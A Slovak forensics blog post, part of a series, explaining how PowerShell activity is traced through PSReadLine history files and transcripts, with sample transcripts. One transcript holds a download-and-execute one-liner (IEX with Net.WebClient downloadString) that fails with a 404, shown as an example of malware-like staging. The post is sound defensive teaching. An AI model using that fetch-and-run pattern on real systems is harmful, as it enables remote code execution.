Stopy po použití PowerShellu na systéme, Časť 4 – História príkazov

Singel-post cover image

PSReadLine

PSReadline je modul umožňujúci okrem iného prehliadanie histórie zadaných cmdletov. Pôvodne bol samostatným modulom, no postupom času sa od verzie PowerShell 3.0 stal prednastaveným „správcom“ interakcie používateľa s konzolou. Nastavenia farebnosti, kompletovanie mien cmdletov, pohyb a vyhľadávanie v histórií posledných príkazov – to všetko zabezpečuje PSReadLine.

Z forenzného hľadiska je dôležité, že pre každého používateľa sa v defaultnom nastavení modulu vytvára súbor ConsoleHost_history.txt. Ide o textový dokument uložený v priečinku %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline.

Na základe toho vieme povedať, že používateľ joe (keďže nižšie uvedený súbor sa nachádzal v jeho profile) stiahol prostredníctvom PowerShellu obsah istej URL a pokúsil sa ho spustiť (keďže skript neexistuje, operácia nebola úspešná):

Obrázok 1: Výňatok obsahu súboru ConsoleHost_history.txt

Obrázok 1: Výňatok obsahu súboru ConsoleHost_history.txt

Obdobným spôsobom môže postupovať malware: prostredníctvom PowerShellu sťahuje svoj ďalší stage, či konfiguračné súbory. Ak na to použije PS konzolu, príkazy budú zaznamenané v PSReadLine.

Čo sa však stane, ak by bol ten istý príkaz spustený z PowerShell ISE? V takom prípade nevznikne o tom v súbore PSReadLine žiadny záznam.

Logovanie PowerShellu: Transkript

Jedným z najjednoduchších spôsobov ako zaznamenávať informácie o príkazoch zadaných v PowerShell konzole AJ výstup týchto príkazov, je PowerShell transkript. PS transkript je možné aktivovať na začiatku PowerShell relácie. Z hľadiska administrátora je lepšie nakonfigurovať transkriptovanie v registroch, definovať lokalitu kam ukladať záznamy (môžeme záznamy centralizovať na logovací server) atď. Konkrétny kľúč registra zodpovedný za nastavenia transkriptu je HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows\PowerShell\Transcription, avšak podrobnosti sú nad rámec tohto blogu.

Ďalšou možnosťou je nastaviť jednotlivé PowerShell profily tak, aby na začiatku každej relácie vykonali cmdlet Start-Transcript 😊

Na ukážku si vystačíme s cmdletom Start-Transcript. Následne spustíme príkazy whoami a whoami /all, ktoré vypisujú výstup na konzolu, a napokon cmdletom Stop-Transcript zastavíme záznam.

Obrázok 2: PowerShell konzola a aktivácia logovania.

Obrázok 2: PowerShell konzola a aktivácia logovania.

Príkazy zadané v relácií na obrázku vyššie aj ich výstup budú zapísané do súborov uvedených na obrazovke.

Obrázok 3: Súbory s PowerShell transkriptami.

Obrázok 3: Súbory s PowerShell transkriptami.

Ak otvoríme jeden zo súborov s transkriptom, vidíme že obsahuje celý obsah konzoly – okrem príkazu Start-Transcript. V hlavičke sú pridané informácie o použivateľovi, zariadení na ktorom transkript vznikol, použitej verzií PowerShellu atď.

**********************
Windows PowerShell transcript start
Start time: 20210917180230
Username: JOE-PC\joe
RunAs User: JOE-PC\joe
Configuration Name: 
Machine: JOE-PC (Microsoft Windows NT 10.0.18362.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 3176
PSVersion: 5.1.18362.145
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.18362.145
BuildVersion: 10.0.18362.145
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Transcript started, output file is C:\Users\joe\OneDrive - TestRun\Documents\PowerShell_transcript.JOE-PC.bqC8wtCo.20210917180230.txt
PS C:\Users\joe> whoami
joe-pc\joe
PS C:\Users\joe> whoami /all

USER INFORMATION
----------------
User Name  SID
========== ==============================================
joe-pc\joe S-1-5-21-4223193144-3314743074-3255832850-1002

GROUP INFORMATION
-----------------
Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\Users\joe> Stop-Transcript
**********************
Windows PowerShell transcript end
End time: 20210917180257
**********************

Transkript môže zaznamenať tak aktivity spustené z konzoly, ako aj z ISE. Je „len“ potrebné, aby bol prepis aktívny:

**********************
Windows PowerShell transcript start
Start time: 20210919170840
Username: JOE-PC\joe
RunAs User: JOE-PC\joe
Configuration Name: 
Machine: JOE-PC (Microsoft Windows NT 10.0.18362.0)
Host Application: C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
Process ID: 4796
PSVersion: 5.1.18362.145
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.18362.145
BuildVersion: 10.0.18362.145
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Transcript started, output file is C:\Users\joe\OneDrive - TestRun\Documents\PowerShell_transcript.JOE-PC.vBj0l7nN.20210919170840.txt
PS C:\Users\joe> powershell "IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.com/NonexistentScriptToExecute_fromISE.exe')"
powershell : Exception calling "DownloadString" with "1" argument(s): "The remote server returned an error: (404) Not 
Found."
At line:1 char:1
+ powershell "IEX(New-Object Net.WebClient).downloadString('https://www ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (Exception calli...04) Not Found.":String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
powershell : Exception calling "DownloadString" with "1" argument(s): "The remote
server returned an error: (404) Not Found."
At line:1 char:1
+ powershell "IEX(New-Object Net.WebClient).downloadString('https://www ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (Exception calli...04) Not Found.":Strin
   g) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

At line:1 char:1
At line:1 char:1

+ IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.co ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
+ IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.co ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException

PS C:\Users\joe> Stop-Transcript

PowerShell transkript má jednu významnú nevýhodu: nezaznamenáva akcie, vykonané vovnútri PowerShell skriptu. Ak spustíme nejaký skript, ktorý obsahuje príkazy bez konzolového výstupu, uvidíme v transkripte iba meno skriptu. Je možné zaznamenávať aj vykonávanie PS skriptov? Áno, je však potrebné vhodne nastaviť logovanie do PowerShell event logov.

Odkazy